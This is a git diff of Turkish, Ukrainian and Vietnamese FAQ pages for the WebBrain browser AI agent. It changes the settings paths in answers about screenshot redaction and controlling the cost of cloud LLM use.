@@ -249,7 +249,7 @@
"name": "Ekran görüntüsü sansürleme ayarı, özel verilerimin bir bulut görüntü modeline asla ulaşmayacağını garanti eder mi?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Hayır — maruziyeti azaltır, bir garanti değildir. Etkinleştirildiğinde (Ayarlar → Çok kipli → Ekran görüntüsü sansürleme, varsayılan olarak kapalı), WebBrain her ekran görüntüsündeki form alanlarını ve e-posta adresi ya da telefon numarasına benzeyen metni, bir görüntü modeline gönderilmeden önce pikselleştirir. Algılama tamamen cihazınızda DOM sezgisel yöntemleriyle çalışır; fazladan hiçbir şey iletilmez. En iyi çaba ilkesiyle çalışır ve fail-open'dır. Algılayıcı bir sayfada çalışamazsa — örneğin bir gezinmeden hemen sonra, PDF görüntüleyicilerde veya kısıtlı tarayıcı sayfalarında — görevinizi iptal etmek yerine ekran görüntüsü yine de sansürlenmeden gönderilir. DOM sezgisel yöntemlerinin göremediği içerikler (bir canvas üzerine çizilmiş metin, görsellerin içindeki kişisel veriler, alışılmadık bileşenler) de gözden kaçabilir. Ve bu ayar yalnızca ekran görüntülerini kapsar: modele gönderilen sayfa metni bu ayarla sansürlenmez. Tam görüntü gizliliği için yerel bir model kullanın. llama.cpp veya Ollama gibi çevrimdışı bir sağlayıcıyla, ekran görüntüleri ve sayfa metni hiçbir zaman makinenizden çıkmaz, dolayısıyla sansürlenecek bir şey baştan olmaz — gizliliğin garanti edildiği tek yapılandırma budur. Yukarıdaki \"WebBrain'i tamamen çevrimdışı kullanabilir miyim?\" bölümüne bakın. Görüntü destekli yerel bir model çalıştıramayacak kadar mütevazı bir makineniz mi var? İyi bir orta yol, planlama ve araç çağrıları için küçük bir yerel model (mütevazı bir CPU/GPU için yeterince hafif) ile görüntü alt çağrıları için bir bulut sağlayıcısını, Ekran görüntüsü sansürleme açıkken birlikte kullanmaktır. Konuşmanız ve sayfa metni yine cihazınızda kalır, bulut görüntüye giden her ekran görüntüsünde form alanları ve algılanan e-posta/telefonlar önceden bulanıklaştırılmış olur — tam bir yerel görüntü modeli için donanıma ihtiyaç duymadan azaltılmış bulut maruziyeti. Bu görüntü ayrımını Ayarlar → Görüntü altından yapılandırın (yukarıdaki \"WebBrain bulut LLM faturalarını nasıl kontrol altında tutar?\" bölümüne bakın)."
+ "text": "Hayır — maruziyeti azaltır, bir garanti değildir. Etkinleştirildiğinde (Ayarlar → Yardımcı Modeller → Görme → Ekran görüntüsü sansürleme, varsayılan olarak kapalı), WebBrain her ekran görüntüsündeki form alanlarını ve e-posta adresi ya da telefon numarasına benzeyen metni, bir görüntü modeline gönderilmeden önce pikselleştirir. Algılama tamamen cihazınızda DOM sezgisel yöntemleriyle çalışır; fazladan hiçbir şey iletilmez. En iyi çaba ilkesiyle çalışır ve fail-open'dır. Algılayıcı bir sayfada çalışamazsa — örneğin bir gezinmeden hemen sonra, PDF görüntüleyicilerde veya kısıtlı tarayıcı sayfalarında — görevinizi iptal etmek yerine ekran görüntüsü yine de sansürlenmeden gönderilir. DOM sezgisel yöntemlerinin göremediği içerikler (bir canvas üzerine çizilmiş metin, görsellerin içindeki kişisel veriler, alışılmadık bileşenler) de gözden kaçabilir. Ve bu ayar yalnızca ekran görüntülerini kapsar: modele gönderilen sayfa metni bu ayarla sansürlenmez. Tam görüntü gizliliği için yerel bir model kullanın. llama.cpp veya Ollama gibi çevrimdışı bir sağlayıcıyla, ekran görüntüleri ve sayfa metni hiçbir zaman makinenizden çıkmaz, dolayısıyla sansürlenecek bir şey baştan olmaz — gizliliğin garanti edildiği tek yapılandırma budur. Yukarıdaki \"WebBrain'i tamamen çevrimdışı kullanabilir miyim?\" bölümüne bakın. Görüntü destekli yerel bir model çalıştıramayacak kadar mütevazı bir makineniz mi var? İyi bir orta yol, planlama ve araç çağrıları için küçük bir yerel model (mütevazı bir CPU/GPU için yeterince hafif) ile görüntü alt çağrıları için bir bulut sağlayıcısını, Ekran görüntüsü sansürleme açıkken birlikte kullanmaktır. Konuşmanız ve sayfa metni yine cihazınızda kalır, bulut görüntüye giden her ekran görüntüsünde form alanları ve algılanan e-posta/telefonlar önceden bulanıklaştırılmış olur — tam bir yerel görüntü modeli için donanıma ihtiyaç duymadan azaltılmış bulut maruziyeti. Bu görüntü ayrımını Ayarlar → Yardımcı Modeller → Görme altından yapılandırın (yukarıdaki \"WebBrain bulut LLM faturalarını nasıl kontrol altında tutar?\" bölümüne bakın)."
}
},
{
@@ -289,7 +289,7 @@
"name": "WebBrain bulut LLM faturalarını nasıl kontrol altında tutar?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Üç bağımsız katman: Token bilincine sahip ekran görüntüleri. Herhangi bir görüntü makineden çıkmadan önce WebBrain onu yeniden boyutlandırır (kısa kenar sınırlanır, en-boy oranı korunur) ve tur başına görüntü token bütçesine sığana kadar yinelemeli olarak JPEG sıkıştırır. GPT-4o'da sana yaklaşık 1.500 giriş tokeni mal olacak 2000×1200 bir ekran görüntüsü, sayfa okuma görevlerinde pratik kayıp olmaksızın yaklaşık 300–500 tokene inerek sıkıştırılır. _fitImageDimensions içinde uygulanır, bütçe matematiği için birim testleri vardır. Akıllı bağlam kırpma. Konuşma geçmişi, araç çıktıları ve satır içi DOM dökümleri tur başına sınırlıdır ve aktif modelin bağlam penceresi dolmaya yaklaştığında önce en eskilerden kırpılır. Bir read_page roman uzunluğunda bir makale döndürdü diye bir çalışmanın 10 binden 100 bin token'a sessizce şişmesini görmezsin. Özel görme modeli. Planlama ve araç çağrıları için ucuz bir metin modelini (ör. GPT-4o-mini), yalnızca ekran görüntüleri için ayrı bir görme modeliyle (ör. GPT-4o) eşleştir; böylece her turda çok kipli model fiyatını ödemezsin. Ayarlar → Görme altında yapılandırılır. Net sonuç: bulut sağlayıcılarıyla uzun oturumlar öngörülebilir kalır. Tam kontrol için yerel llama.cpp'yi kullan — token başına sıfır maliyet."
+ "text": "Üç bağımsız katman: Token bilincine sahip ekran görüntüleri. Herhangi bir görüntü makineden çıkmadan önce WebBrain onu yeniden boyutlandırır (kısa kenar sınırlanır, en-boy oranı korunur) ve tur başına görüntü token bütçesine sığana kadar yinelemeli olarak JPEG sıkıştırır. GPT-4o'da sana yaklaşık 1.500 giriş tokeni mal olacak 2000×1200 bir ekran görüntüsü, sayfa okuma görevlerinde pratik kayıp olmaksızın yaklaşık 300–500 tokene inerek sıkıştırılır. _fitImageDimensions içinde uygulanır, bütçe matematiği için birim testleri vardır. Akıllı bağlam kırpma. Konuşma geçmişi, araç çıktıları ve satır içi DOM dökümleri tur başına sınırlıdır ve aktif modelin bağlam penceresi dolmaya yaklaştığında önce en eskilerden kırpılır. Bir read_page roman uzunluğunda bir makale döndürdü diye bir çalışmanın 10 binden 100 bin token'a sessizce şişmesini görmezsin. Özel görme modeli. Planlama ve araç çağrıları için ucuz bir metin modelini (ör. GPT-4o-mini), yalnızca ekran görüntüleri için ayrı bir görme modeliyle (ör. GPT-4o) eşleştir; böylece her turda çok kipli model fiyatını ödemezsin. Ayarlar → Yardımcı Modeller → Görme altında yapılandırılır. Net sonuç: bulut sağlayıcılarıyla uzun oturumlar öngörülebilir kalır. Tam kontrol için yerel llama.cpp'yi kullan — token başına sıfır maliyet."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>WebBrain bulut LLM faturalarını nasıl kontrol altında tutar?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Üç bağımsız katman:</p><p><strong>Token bilincine sahip ekran görüntüleri.</strong> Herhangi bir görüntü makineden çıkmadan önce WebBrain onu yeniden boyutlandırır (kısa kenar sınırlanır, en-boy oranı korunur) ve tur başına görüntü token bütçesine sığana kadar yinelemeli olarak JPEG sıkıştırır. GPT-4o'da sana yaklaşık 1.500 giriş tokeni mal olacak 2000×1200 bir ekran görüntüsü, sayfa okuma görevlerinde pratik kayıp olmaksızın yaklaşık 300–500 tokene inerek sıkıştırılır. <code>_fitImageDimensions</code> içinde uygulanır, bütçe matematiği için birim testleri vardır.</p><p><strong>Akıllı bağlam kırpma.</strong> Konuşma geçmişi, araç çıktıları ve satır içi DOM dökümleri tur başına sınırlıdır ve aktif modelin bağlam penceresi dolmaya yaklaştığında önce en eskilerden kırpılır. Bir <code>read_page</code> roman uzunluğunda bir makale döndürdü diye bir çalışmanın 10 binden 100 bin token'a sessizce şişmesini görmezsin.</p><p><strong>Özel görme modeli.</strong> Planlama ve araç çağrıları için ucuz bir metin modelini (ör. GPT-4o-mini), yalnızca ekran görüntüleri için ayrı bir görme modeliyle (ör. GPT-4o) eşleştir; böylece her turda çok kipli model fiyatını ödemezsin. <strong>Ayarlar → Görme</strong> altında yapılandırılır.</p><p>Net sonuç: bulut sağlayıcılarıyla uzun oturumlar öngörülebilir kalır. Tam kontrol için yerel llama.cpp'yi kullan — token başına sıfır maliyet.</p></div>
+ <div class="faq-answer"><p>Üç bağımsız katman:</p><p><strong>Token bilincine sahip ekran görüntüleri.</strong> Herhangi bir görüntü makineden çıkmadan önce WebBrain onu yeniden boyutlandırır (kısa kenar sınırlanır, en-boy oranı korunur) ve tur başına görüntü token bütçesine sığana kadar yinelemeli olarak JPEG sıkıştırır. GPT-4o'da sana yaklaşık 1.500 giriş tokeni mal olacak 2000×1200 bir ekran görüntüsü, sayfa okuma görevlerinde pratik kayıp olmaksızın yaklaşık 300–500 tokene inerek sıkıştırılır. <code>_fitImageDimensions</code> içinde uygulanır, bütçe matematiği için birim testleri vardır.</p><p><strong>Akıllı bağlam kırpma.</strong> Konuşma geçmişi, araç çıktıları ve satır içi DOM dökümleri tur başına sınırlıdır ve aktif modelin bağlam penceresi dolmaya yaklaştığında önce en eskilerden kırpılır. Bir <code>read_page</code> roman uzunluğunda bir makale döndürdü diye bir çalışmanın 10 binden 100 bin token'a sessizce şişmesini görmezsin.</p><p><strong>Özel görme modeli.</strong> Planlama ve araç çağrıları için ucuz bir metin modelini (ör. GPT-4o-mini), yalnızca ekran görüntüleri için ayrı bir görme modeliyle (ör. GPT-4o) eşleştir; böylece her turda çok kipli model fiyatını ödemezsin. <strong>Ayarlar → Yardımcı Modeller → Görme</strong> altında yapılandırılır.</p><p>Net sonuç: bulut sağlayıcılarıyla uzun oturumlar öngörülebilir kalır. Tam kontrol için yerel llama.cpp'yi kullan — token başına sıfır maliyet.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Ekran görüntüsü sansürleme ayarı, özel verilerimin bir bulut görüntü modeline asla ulaşmayacağını garanti eder mi?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Hayır — maruziyeti azaltır, bir garanti değildir. Etkinleştirildiğinde (<strong>Ayarlar → Çok kipli → Ekran görüntüsü sansürleme</strong>, varsayılan olarak kapalı), WebBrain her ekran görüntüsündeki form alanlarını ve e-posta adresi ya da telefon numarasına benzeyen metni, bir görüntü modeline gönderilmeden <em>önce</em> pikselleştirir. Algılama tamamen cihazınızda DOM sezgisel yöntemleriyle çalışır; fazladan hiçbir şey iletilmez.</p><p><strong>En iyi çaba ilkesiyle çalışır ve fail-open'dır.</strong> Algılayıcı bir sayfada çalışamazsa — örneğin bir gezinmeden hemen sonra, PDF görüntüleyicilerde veya kısıtlı tarayıcı sayfalarında — görevinizi iptal etmek yerine ekran görüntüsü yine de <em>sansürlenmeden</em> gönderilir. DOM sezgisel yöntemlerinin göremediği içerikler (bir canvas üzerine çizilmiş metin, görsellerin içindeki kişisel veriler, alışılmadık bileşenler) de gözden kaçabilir. Ve bu ayar yalnızca ekran görüntülerini kapsar: modele gönderilen sayfa <em>metni</em> bu ayarla sansürlenmez.</p><p><strong>Tam görüntü gizliliği için yerel bir model kullanın.</strong> llama.cpp veya Ollama gibi çevrimdışı bir sağlayıcıyla, ekran görüntüleri ve sayfa metni hiçbir zaman makinenizden çıkmaz, dolayısıyla sansürlenecek bir şey baştan olmaz — gizliliğin garanti edildiği tek yapılandırma budur. Yukarıdaki "WebBrain'i tamamen çevrimdışı kullanabilir miyim?" bölümüne bakın.</p><p><strong>Görüntü destekli yerel bir model çalıştıramayacak kadar mütevazı bir makineniz mi var?</strong> İyi bir orta yol, planlama ve araç çağrıları için küçük bir yerel model (mütevazı bir CPU/GPU için yeterince hafif) ile görüntü alt çağrıları için bir bulut sağlayıcısını, Ekran görüntüsü sansürleme açıkken birlikte kullanmaktır. Konuşmanız ve sayfa metni yine cihazınızda kalır, bulut görüntüye giden her ekran görüntüsünde form alanları ve algılanan e-posta/telefonlar önceden bulanıklaştırılmış olur — tam bir yerel görüntü modeli için donanıma ihtiyaç duymadan azaltılmış bulut maruziyeti. Bu görüntü ayrımını <strong>Ayarlar → Görüntü</strong> altından yapılandırın (yukarıdaki "WebBrain bulut LLM faturalarını nasıl kontrol altında tutar?" bölümüne bakın).</p></div>
+ <div class="faq-answer"><p>Hayır — maruziyeti azaltır, bir garanti değildir. Etkinleştirildiğinde (<strong>Ayarlar → Yardımcı Modeller → Görme → Ekran görüntüsü sansürleme</strong>, varsayılan olarak kapalı), WebBrain her ekran görüntüsündeki form alanlarını ve e-posta adresi ya da telefon numarasına benzeyen metni, bir görüntü modeline gönderilmeden <em>önce</em> pikselleştirir. Algılama tamamen cihazınızda DOM sezgisel yöntemleriyle çalışır; fazladan hiçbir şey iletilmez.</p><p><strong>En iyi çaba ilkesiyle çalışır ve fail-open'dır.</strong> Algılayıcı bir sayfada çalışamazsa — örneğin bir gezinmeden hemen sonra, PDF görüntüleyicilerde veya kısıtlı tarayıcı sayfalarında — görevinizi iptal etmek yerine ekran görüntüsü yine de <em>sansürlenmeden</em> gönderilir. DOM sezgisel yöntemlerinin göremediği içerikler (bir canvas üzerine çizilmiş metin, görsellerin içindeki kişisel veriler, alışılmadık bileşenler) de gözden kaçabilir. Ve bu ayar yalnızca ekran görüntülerini kapsar: modele gönderilen sayfa <em>metni</em> bu ayarla sansürlenmez.</p><p><strong>Tam görüntü gizliliği için yerel bir model kullanın.</strong> llama.cpp veya Ollama gibi çevrimdışı bir sağlayıcıyla, ekran görüntüleri ve sayfa metni hiçbir zaman makinenizden çıkmaz, dolayısıyla sansürlenecek bir şey baştan olmaz — gizliliğin garanti edildiği tek yapılandırma budur. Yukarıdaki "WebBrain'i tamamen çevrimdışı kullanabilir miyim?" bölümüne bakın.</p><p><strong>Görüntü destekli yerel bir model çalıştıramayacak kadar mütevazı bir makineniz mi var?</strong> İyi bir orta yol, planlama ve araç çağrıları için küçük bir yerel model (mütevazı bir CPU/GPU için yeterince hafif) ile görüntü alt çağrıları için bir bulut sağlayıcısını, Ekran görüntüsü sansürleme açıkken birlikte kullanmaktır. Konuşmanız ve sayfa metni yine cihazınızda kalır, bulut görüntüye giden her ekran görüntüsünde form alanları ve algılanan e-posta/telefonlar önceden bulanıklaştırılmış olur — tam bir yerel görüntü modeli için donanıma ihtiyaç duymadan azaltılmış bulut maruziyeti. Bu görüntü ayrımını <strong>Ayarlar → Yardımcı Modeller → Görme</strong> altından yapılandırın (yukarıdaki "WebBrain bulut LLM faturalarını nasıl kontrol altında tutar?" bölümüne bakın).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>WebBrain DOM’un tamamını yapay zekâ modeline gönderiyor mu?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/uk/faq/index.html b/web/docs/uk/faq/index.html
index 09d169cb2..6f5486dcb 100644
--- a/web/docs/uk/faq/index.html
+++ b/web/docs/uk/faq/index.html
@@ -249,7 +249,7 @@
"name": "Чи гарантує налаштування редагування знімків екрана, що мої приватні дані ніколи не потраплять до хмарної моделі зору?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Ні — воно зменшує ризик, але не є гарантією. Після ввімкнення (Налаштування → Мультимодальність → Редагування знімків екрана, за замовчуванням вимкнено) WebBrain пікселізує поля форм і текст, схожий на email-адресу чи номер телефону, на кожному знімку екрана перед надсиланням його моделі зору. Виявлення виконується повністю на вашому пристрої за допомогою евристик DOM; нічого зайвого не передається. Це робота за принципом «найкращих зусиль» і fail-open. Якщо детектор не може спрацювати на сторінці — наприклад, одразу після переходу, у переглядачах PDF або на обмежених сторінках браузера — знімок екрана все одно надсилається невідредагованим, замість того щоб перервати ваше завдання. Вміст, який евристики DOM не бачать (текст, намальований на canvas, персональні дані всередині зображень, незвичні віджети), теж може прослизнути. І налаштування стосується лише знімків екрана: текст сторінки, що надсилається моделі, ним не редагується. Для повної приватності зору використовуйте локальну модель. З офлайн-провайдером на кшталт llama.cpp чи Ollama знімки екрана і текст сторінки ніколи не покидають ваш пристрій, тож редагувати попросту нічого — це єдина конфігурація, де приватність гарантована. Див. «Чи можна користуватися WebBrain повністю офлайн?» вище. Немає потужного пристрою для локальної моделі з підтримкою зору? Гарний компроміс — невелика локальна модель для планування та викликів інструментів (достатньо легка для скромного CPU/GPU) у парі з хмарним провайдером для підзапитів зору, з увімкненим редагуванням знімків екрана. Ваша розмова і текст сторінки залишаються на пристрої, а кожен знімок, що йде до хмарного зору, вже має розмиті поля форм і виявлені email/телефони — менший ризик у хмарі без потреби в апаратному забезпеченні для повноцінної локальної моделі зору. Налаштуйте цей розподіл у Налаштування → Зір (див. «Як WebBrain тримає рахунки за хмарні LLM під контролем?» вище)."
+ "text": "Ні — воно зменшує ризик, але не є гарантією. Після ввімкнення (Налаштування → Допоміжні моделі → Зір → Редагування знімків екрана, за замовчуванням вимкнено) WebBrain пікселізує поля форм і текст, схожий на email-адресу чи номер телефону, на кожному знімку екрана перед надсиланням його моделі зору. Виявлення виконується повністю на вашому пристрої за допомогою евристик DOM; нічого зайвого не передається. Це робота за принципом «найкращих зусиль» і fail-open. Якщо детектор не може спрацювати на сторінці — наприклад, одразу після переходу, у переглядачах PDF або на обмежених сторінках браузера — знімок екрана все одно надсилається невідредагованим, замість того щоб перервати ваше завдання. Вміст, який евристики DOM не бачать (текст, намальований на canvas, персональні дані всередині зображень, незвичні віджети), теж може прослизнути. І налаштування стосується лише знімків екрана: текст сторінки, що надсилається моделі, ним не редагується. Для повної приватності зору використовуйте локальну модель. З офлайн-провайдером на кшталт llama.cpp чи Ollama знімки екрана і текст сторінки ніколи не покидають ваш пристрій, тож редагувати попросту нічого — це єдина конфігурація, де приватність гарантована. Див. «Чи можна користуватися WebBrain повністю офлайн?» вище. Немає потужного пристрою для локальної моделі з підтримкою зору? Гарний компроміс — невелика локальна модель для планування та викликів інструментів (достатньо легка для скромного CPU/GPU) у парі з хмарним провайдером для підзапитів зору, з увімкненим редагуванням знімків екрана. Ваша розмова і текст сторінки залишаються на пристрої, а кожен знімок, що йде до хмарного зору, вже має розмиті поля форм і виявлені email/телефони — менший ризик у хмарі без потреби в апаратному забезпеченні для повноцінної локальної моделі зору. Налаштуйте цей розподіл у Налаштування → Допоміжні моделі → Зір (див. «Як WebBrain тримає рахунки за хмарні LLM під контролем?» вище)."
}
},
{
@@ -289,7 +289,7 @@
"name": "Як WebBrain тримає рахунки за хмарні LLM під контролем?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Три незалежні шари: Скриншоти з турботою про токени. Перш ніж будь-яке зображення покине вашу машину, WebBrain зменшує його (коротка сторона обмежена, пропорції зберігаються) та ітеративно стискає в JPEG, доки воно не вмiститься в бюджет image-токенів на хід. Скриншот 2000×1200, який на GPT-4o обійшовся б приблизно у 1500 вхідних токенів, стискається до ~300–500 токенів без реальної втрати для задач читання сторінок. Реалізовано у _fitImageDimensions, є юніт-тести на розрахунок бюджету. Розумне підрізання контексту. Історія діалогу, виводи інструментів і вбудовані дампи DOM обмежені на хід і підрізаються від найстаршого, коли контекстне вікно активної моделі наближається до повного. Ви не побачите, як сесія тихо роздувається з 10k токенів до 100k через те, що read_page повернув статтю завдовжки з роман. Окрема vision-модель. Пара: дешева текстова модель (наприклад, GPT-4o-mini) для планування і tool-викликів плюс окрема vision-модель (наприклад, GPT-4o) лише для скриншотів — і ви не платите ціну мультимодальної моделі на кожному ходу. Налаштовується в Налаштування → Зір. Підсумок: довгі сесії з хмарними провайдерами лишаються передбачуваними. Для повного контролю — підіймайте llama.cpp локально, ціна за токен нульова."
+ "text": "Три незалежні шари: Скриншоти з турботою про токени. Перш ніж будь-яке зображення покине вашу машину, WebBrain зменшує його (коротка сторона обмежена, пропорції зберігаються) та ітеративно стискає в JPEG, доки воно не вмiститься в бюджет image-токенів на хід. Скриншот 2000×1200, який на GPT-4o обійшовся б приблизно у 1500 вхідних токенів, стискається до ~300–500 токенів без реальної втрати для задач читання сторінок. Реалізовано у _fitImageDimensions, є юніт-тести на розрахунок бюджету. Розумне підрізання контексту. Історія діалогу, виводи інструментів і вбудовані дампи DOM обмежені на хід і підрізаються від найстаршого, коли контекстне вікно активної моделі наближається до повного. Ви не побачите, як сесія тихо роздувається з 10k токенів до 100k через те, що read_page повернув статтю завдовжки з роман. Окрема vision-модель. Пара: дешева текстова модель (наприклад, GPT-4o-mini) для планування і tool-викликів плюс окрема vision-модель (наприклад, GPT-4o) лише для скриншотів — і ви не платите ціну мультимодальної моделі на кожному ходу. Налаштовується в Налаштування → Допоміжні моделі → Зір. Підсумок: довгі сесії з хмарними провайдерами лишаються передбачуваними. Для повного контролю — підіймайте llama.cpp локально, ціна за токен нульова."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>Як WebBrain тримає рахунки за хмарні LLM під контролем?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Три незалежні шари:</p><p><strong>Скриншоти з турботою про токени.</strong> Перш ніж будь-яке зображення покине вашу машину, WebBrain зменшує його (коротка сторона обмежена, пропорції зберігаються) та ітеративно стискає в JPEG, доки воно не вмiститься в бюджет image-токенів на хід. Скриншот 2000×1200, який на GPT-4o обійшовся б приблизно у 1500 вхідних токенів, стискається до ~300–500 токенів без реальної втрати для задач читання сторінок. Реалізовано у <code>_fitImageDimensions</code>, є юніт-тести на розрахунок бюджету.</p><p><strong>Розумне підрізання контексту.</strong> Історія діалогу, виводи інструментів і вбудовані дампи DOM обмежені на хід і підрізаються від найстаршого, коли контекстне вікно активної моделі наближається до повного. Ви не побачите, як сесія тихо роздувається з 10k токенів до 100k через те, що <code>read_page</code> повернув статтю завдовжки з роман.</p><p><strong>Окрема vision-модель.</strong> Пара: дешева текстова модель (наприклад, GPT-4o-mini) для планування і tool-викликів плюс окрема vision-модель (наприклад, GPT-4o) лише для скриншотів — і ви не платите ціну мультимодальної моделі на кожному ходу. Налаштовується в <strong>Налаштування → Зір</strong>.</p><p>Підсумок: довгі сесії з хмарними провайдерами лишаються передбачуваними. Для повного контролю — підіймайте llama.cpp локально, ціна за токен нульова.</p></div>
+ <div class="faq-answer"><p>Три незалежні шари:</p><p><strong>Скриншоти з турботою про токени.</strong> Перш ніж будь-яке зображення покине вашу машину, WebBrain зменшує його (коротка сторона обмежена, пропорції зберігаються) та ітеративно стискає в JPEG, доки воно не вмiститься в бюджет image-токенів на хід. Скриншот 2000×1200, який на GPT-4o обійшовся б приблизно у 1500 вхідних токенів, стискається до ~300–500 токенів без реальної втрати для задач читання сторінок. Реалізовано у <code>_fitImageDimensions</code>, є юніт-тести на розрахунок бюджету.</p><p><strong>Розумне підрізання контексту.</strong> Історія діалогу, виводи інструментів і вбудовані дампи DOM обмежені на хід і підрізаються від найстаршого, коли контекстне вікно активної моделі наближається до повного. Ви не побачите, як сесія тихо роздувається з 10k токенів до 100k через те, що <code>read_page</code> повернув статтю завдовжки з роман.</p><p><strong>Окрема vision-модель.</strong> Пара: дешева текстова модель (наприклад, GPT-4o-mini) для планування і tool-викликів плюс окрема vision-модель (наприклад, GPT-4o) лише для скриншотів — і ви не платите ціну мультимодальної моделі на кожному ходу. Налаштовується в <strong>Налаштування → Допоміжні моделі → Зір</strong>.</p><p>Підсумок: довгі сесії з хмарними провайдерами лишаються передбачуваними. Для повного контролю — підіймайте llama.cpp локально, ціна за токен нульова.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Чи гарантує налаштування редагування знімків екрана, що мої приватні дані ніколи не потраплять до хмарної моделі зору?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Ні — воно зменшує ризик, але не є гарантією. Після ввімкнення (<strong>Налаштування → Мультимодальність → Редагування знімків екрана</strong>, за замовчуванням вимкнено) WebBrain пікселізує поля форм і текст, схожий на email-адресу чи номер телефону, на кожному знімку екрана <em>перед</em> надсиланням його моделі зору. Виявлення виконується повністю на вашому пристрої за допомогою евристик DOM; нічого зайвого не передається.</p><p><strong>Це робота за принципом «найкращих зусиль» і fail-open.</strong> Якщо детектор не може спрацювати на сторінці — наприклад, одразу після переходу, у переглядачах PDF або на обмежених сторінках браузера — знімок екрана все одно надсилається <em>невідредагованим</em>, замість того щоб перервати ваше завдання. Вміст, який евристики DOM не бачать (текст, намальований на canvas, персональні дані всередині зображень, незвичні віджети), теж може прослизнути. І налаштування стосується лише знімків екрана: текст сторінки, що надсилається моделі, ним не редагується.</p><p><strong>Для повної приватності зору використовуйте локальну модель.</strong> З офлайн-провайдером на кшталт llama.cpp чи Ollama знімки екрана і текст сторінки ніколи не покидають ваш пристрій, тож редагувати попросту нічого — це єдина конфігурація, де приватність гарантована. Див. «Чи можна користуватися WebBrain повністю офлайн?» вище.</p><p><strong>Немає потужного пристрою для локальної моделі з підтримкою зору?</strong> Гарний компроміс — невелика локальна модель для планування та викликів інструментів (достатньо легка для скромного CPU/GPU) у парі з хмарним провайдером для підзапитів зору, з увімкненим редагуванням знімків екрана. Ваша розмова і текст сторінки залишаються на пристрої, а кожен знімок, що йде до хмарного зору, вже має розмиті поля форм і виявлені email/телефони — менший ризик у хмарі без потреби в апаратному забезпеченні для повноцінної локальної моделі зору. Налаштуйте цей розподіл у <strong>Налаштування → Зір</strong> (див. «Як WebBrain тримає рахунки за хмарні LLM під контролем?» вище).</p></div>
+ <div class="faq-answer"><p>Ні — воно зменшує ризик, але не є гарантією. Після ввімкнення (<strong>Налаштування → Допоміжні моделі → Зір → Редагування знімків екрана</strong>, за замовчуванням вимкнено) WebBrain пікселізує поля форм і текст, схожий на email-адресу чи номер телефону, на кожному знімку екрана <em>перед</em> надсиланням його моделі зору. Виявлення виконується повністю на вашому пристрої за допомогою евристик DOM; нічого зайвого не передається.</p><p><strong>Це робота за принципом «найкращих зусиль» і fail-open.</strong> Якщо детектор не може спрацювати на сторінці — наприклад, одразу після переходу, у переглядачах PDF або на обмежених сторінках браузера — знімок екрана все одно надсилається <em>невідредагованим</em>, замість того щоб перервати ваше завдання. Вміст, який евристики DOM не бачать (текст, намальований на canvas, персональні дані всередині зображень, незвичні віджети), теж може прослизнути. І налаштування стосується лише знімків екрана: текст сторінки, що надсилається моделі, ним не редагується.</p><p><strong>Для повної приватності зору використовуйте локальну модель.</strong> З офлайн-провайдером на кшталт llama.cpp чи Ollama знімки екрана і текст сторінки ніколи не покидають ваш пристрій, тож редагувати попросту нічого — це єдина конфігурація, де приватність гарантована. Див. «Чи можна користуватися WebBrain повністю офлайн?» вище.</p><p><strong>Немає потужного пристрою для локальної моделі з підтримкою зору?</strong> Гарний компроміс — невелика локальна модель для планування та викликів інструментів (достатньо легка для скромного CPU/GPU) у парі з хмарним провайдером для підзапитів зору, з увімкненим редагуванням знімків екрана. Ваша розмова і текст сторінки залишаються на пристрої, а кожен знімок, що йде до хмарного зору, вже має розмиті поля форм і виявлені email/телефони — менший ризик у хмарі без потреби в апаратному забезпеченні для повноцінної локальної моделі зору. Налаштуйте цей розподіл у <strong>Налаштування → Допоміжні моделі → Зір</strong> (див. «Як WebBrain тримає рахунки за хмарні LLM під контролем?» вище).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>Чи надсилає WebBrain увесь DOM моделі ШІ?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/vi/faq/index.html b/web/docs/vi/faq/index.html
index a53ff17b2..546bd72f5 100644
--- a/web/docs/vi/faq/index.html
+++ b/web/docs/vi/faq/index.html
@@ -249,7 +249,7 @@
"name": "Cài đặt chỉnh sửa Ảnh chụp màn hình có đảm bảo dữ liệu riêng tư của tôi không bao giờ đạt tới mô hình thị giác trên đám mây không?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Không - nó làm giảm mức độ phơi nhiễm, nó không phải là sự đảm bảo. Khi được bật (Cài đặt → Đa chế độ → Chỉnh sửa ảnh chụp màn hình, tắt theo mặc định), WebBrain tạo pixel các trường biểu mẫu và văn bản trông giống địa chỉ email hoặc số điện thoại trên mỗi ảnh chụp màn hình trước đây nó được gửi đến một mô hình tầm nhìn. Tính năng phát hiện chạy hoàn toàn trên thiết bị của bạn bằng phương pháp phỏng đoán DOM; không có gì thêm được truyền đi. Đó là nỗ lực tốt nhất và thất bại. Nếu trình phát hiện không thể chạy trên một trang — ví dụ: ngay sau khi điều hướng, trên trình xem PDF hoặc trên các trang trình duyệt bị hạn chế — thì ảnh chụp màn hình vẫn được gửi chưa được biên soạn thay vì hủy bỏ nhiệm vụ của bạn. Nội dung mà phương pháp chẩn đoán DOM không thể nhìn thấy (văn bản được vẽ trên canvas, hình ảnh PII bên trong, các vật dụng bất thường) cũng có thể bị lọt qua. Và cài đặt chỉ bao gồm ảnh chụp màn hình: trang văn bản được gửi đến mô hình không bị nó biên tập lại. Để có được sự riêng tư toàn diện về tầm nhìn, 